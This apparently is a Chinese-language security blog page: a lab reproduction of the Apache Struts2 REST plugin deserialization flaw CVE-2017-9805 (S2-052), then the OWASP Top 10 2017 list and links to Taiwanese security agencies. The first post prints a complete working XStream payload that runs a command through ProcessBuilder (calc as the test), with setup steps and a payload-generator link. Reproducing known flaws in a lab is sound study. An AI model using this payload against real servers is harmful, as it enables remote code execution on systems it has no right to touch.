2018年1月27日 星期六

Struts2-052 RCE CVE-2017-9805漏洞


漏洞描述:

2017年9月5日,Apache Struts發佈最新安全公告,Apache Struts2的REST插件存在遠程代碼執行的高危漏洞,該漏洞由lgtm.com的安全研究員匯報,漏洞編號為CVE-2017-9805(S2-052)。Struts2 REST插件的XStream組件存在反序列化漏洞,使用XStream組件對XML格式的數據包進行反序列化操作時,未對數據內容進行有效驗證,存在安全隱患,可被遠程攻擊。問題出現在struts2-rest-plugin插件XStreamHandler處理器中的toObject()方法,其中未對傳入的值進行任何限制,在使用XStream反序列化轉換成對象時,導致任意代碼執行漏洞。

官網描述:https://cwiki.apache.org/confluence/display/WW/S2-052
漏洞編號:CVE-2017-9805(S2-052)
漏洞評級:高危
復現環境搭建:

從struts2的官網下載最後受影響的版本struts-2.5.12

下載地址:http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip



在Tomcat下部署struts2-rest-showcase.war
訪問http://xxx:8088/struts2-rest-showcase/orders.xhtml 點擊View按鈕


截獲數據包:

寫入http頭:Content-Type: application/xml

寫入poc




成功執行命令:


Poc生成工具:

下載地址:https://github.com/mbechler/marshalsec
漏洞檢測POC:

Windows 下測試:</string>calc</string>

MAC下測試:</string>/Applications/Calculator.app/Contents/MacOS/Calculator</string><map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>

復現分析doc附件下載:

Struts2-052 RCE CVE-2017-9805漏洞復現分析.docx
復現成功GIF:


必看:

指尖安全提供了S2-052漏洞在線檢測工具:http://scan.secfree.com/index.jsp

只是拿s2-045做了檢測截圖 s2-052不敢搭公網。

2018年1月5日 星期五

OWASP 2017

OWASP每四年會更新一版
上一次是OWASP 2013

A1:2017-Injection

    Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

A2:2017-Broken Authentication

    Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users' identities temporarily or permanently.

A3:2017-Sensitive Data Exposure

    Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.

A4:2017-XML External Entities (XXE)

    Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks.

A5:2017-Broken Access Control

    Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users' accounts, view sensitive files, modify other users' data, change access rights, etc.

A6:2017-Security Misconfiguration

    Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely fashion.

A7:2017-Cross-Site Scripting (XSS)

    XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

A8:2017-Insecure Deserialization

    Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.

A9:2017-Using Components with Known Vulnerabilities

    Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.

A10:2017-Insufficient Logging&Monitoring

    Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring.

資安網站


行政院國家資通安全會報技術服務中心
https://www.nccst.nat.gov.tw/

國家電腦事件處理中心
Taiwan National Computer Emergency Response Team
https://www.twncert.org.tw/

TWCERT/CC 台灣電腦網路危機處理暨協調中心 
https://www.twcert.org.tw/ 

財團法人電信技術中心
http://www.ttc.org.tw/